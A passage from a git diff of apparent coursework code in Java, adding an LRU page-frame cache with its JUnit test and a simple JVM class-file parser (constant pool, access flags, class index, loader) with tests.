+        first.prev = temp;
+        first = temp;
+    }
+
+    private void addNewNode(int pageNum) {
+        Node node = new Node();
+        first.prev = node;
+        node.next = first;
+        first.prev = node;
+        node.pageNum = pageNum;
+        first = node;
+        last = last.prev;
+        last.next = null;
+    }
+
+
+    private int checkPageNum(int num) {
+        Node node = first;
+        int index = 0;
+        while (node != null) {
+            if (node.pageNum == num) {
+                return index;
+            }
+            index++;
+            node = node.next;
+        }
+        return -1;
+    }
+
+
+    private void initialize() {
+        if (capacity <= 0) {
+            throw new IndexOutOfBoundsException();
+        }
+        Node node = new Node();
+        first = node;
+        last = node;
+        for (int i = 0; i < capacity - 1; i++) {
+            Node n = new Node();
+            Node temp = last;
+            last.next = n;
+            last = n;
+            last.prev = temp;
+        }
+    }
+
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while (node != null) {
+            buffer.append(node.pageNum);
+
+            node = node.next;
+            if (node != null) {
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+}
diff --git a/group23/563253496/week4_lru/src/LRUPageFrameTest.java b/group23/563253496/week4_lru/src/LRUPageFrameTest.java
new file mode 100644
index 0000000000..41e3727e34
--- /dev/null
+++ b/group23/563253496/week4_lru/src/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Assert;
+/**
+* LRUPageFrame Tester.
+*
+* @author <Authors name>
+* @since <pre>���� 29, 2017</pre>
+* @version 1.0
+*/ public class LRUPageFrameTest {
+
+    @Test
+    public void testAccess() {
+        LRUPageFrame frame = new LRUPageFrame(3);
+        frame.access(7);
+        frame.access(0);
+        frame.access(1);
+        Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        Assert.assertEquals("2,1,0", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("3,0,2", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,3,2", frame.toString());
+        frame.access(4);
+        Assert.assertEquals("4,0,3", frame.toString());
+    }
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..577e41536b
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+    private byte[] codes;
+    private int pos;
+
+    public ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+        this.pos = 0;
+    }
+
+    public byte[] getCodes(int length) {
+        if (this.pos + length >= this.codes.length) {
+            throw new IndexOutOfBoundsException();
+        }
+
+        byte[] buffer = new byte[length];
+        for (int i = 0; i < length; i++) {
+            buffer[i] = this.codes[pos++];
+        }
+        return buffer;
+    }
+
+    public int nextU1ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++]});
+    }
+
+    public int nextU4ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+    }
+
+    public String nextU4ToHexString() {
+        return Util.byteToHexString(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] buffer = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buffer[i] = this.codes[pos++];
+        }
+        return Util.byteToHexString(buffer);
+    }
+
+    public void back(int i) {
+        this.pos -= i;
+
+    }
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..be4e12c7de
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+
+		className = className.replace('.', File.separatorChar) +".class";
+
+		for(String path : this.clzPaths){
+
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}
+		}
+
+		return null;
+
+
+
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+
+		File f = new File(clzFileName);
+
+		try {
+
+			return IOUtils.toByteArray(new FileInputStream(f));
+
+		} catch (IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+
+
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+
+		this.clzPaths.add(path);
+
+	}
+
+
+
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+
+	}
+
+
+
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+
+	private byte[] loadClassFile_V1(String clzFileName) {
+
+		BufferedInputStream bis = null;
+
+		try {
+
+			File f = new File(clzFileName);
+
+
+			bis = new BufferedInputStream(new FileInputStream(f));
+
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+
+			byte[] buffer = new byte[1024];
+			int length = -1;
+
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);
+			}
+
+			byte [] codes = bos.toByteArray();
+
+			return codes;
+
+		} catch(IOException e){
+			e.printStackTrace();
+
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+
+	}
+
+
+
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..524a9dfc4e
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,112 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import sun.invoke.util.BytecodeDescriptor;
+
+import javax.lang.model.element.Name;
+
+public class ClassFileParser {
+
+    public ClassFile parse(byte[] codes) {
+
+        ClassFile clzFile = new ClassFile();
+        ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+        String magicNumber = iter.nextU4ToHexString();
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+
+        clzFile.setMinorVersion(iter.nextU2ToInt());
+        clzFile.setMajorVersion(iter.nextU2ToInt());
+        clzFile.setConstPool(parseConstantPool(iter));
+        clzFile.setAccessFlag(parseAccessFlag(iter));
+        clzFile.setClassIndex(parseClassInfex(iter));
+        return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+        return new AccessFlag(iter.nextU2ToInt());
+    }
+
+    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+        ClassIndex clzIndex = new ClassIndex();
+        clzIndex.setThisClassIndex(iter.nextU2ToInt());
+        clzIndex.setSuperClassIndex(iter.nextU2ToInt());
+
+        return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+        int constantNum = iter.nextU2ToInt();
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 0; i < constantNum - 1; i++) {
+            int tag = iter.nextU1ToInt();
+            if (tag == 1) {
+                //utf-8_info
+                int len = iter.nextU2ToInt();
+                byte[] buffer = new byte[len];
+                buffer = iter.getCodes(len);
+                String s = null;
+                try {
+                    s = new String(buffer, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(s);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == 7) {
+                //class_info
+                int utf8Index = iter.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+                pool.addConstantInfo(classInfo);
+            } else if (tag == 8) {
+                int stringIndex = iter.nextU2ToInt();
+                StringInfo stringInfo = new StringInfo(pool);
+                stringInfo.setIndex(stringIndex);
+                pool.addConstantInfo(stringInfo);
+            } else if (tag == 9) {
+                FieldRefInfo info = new FieldRefInfo(pool);
+                info.setClassInfoIndex(iter.nextU2ToInt());
+                info.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 10) {
+                MethodRefInfo info = new MethodRefInfo(pool);
+                info.setClassInfoIndex(iter.nextU2ToInt());
+                info.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 12) {
+                NameAndTypeInfo info = new NameAndTypeInfo(pool);
+                info.setIndex1((iter.nextU2ToInt()));
+                info.setIndex2(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+            }
+
+        }
+        return pool;
+    }
+
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..638b193f69
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,202 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
+	static String path2 = "C:\\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
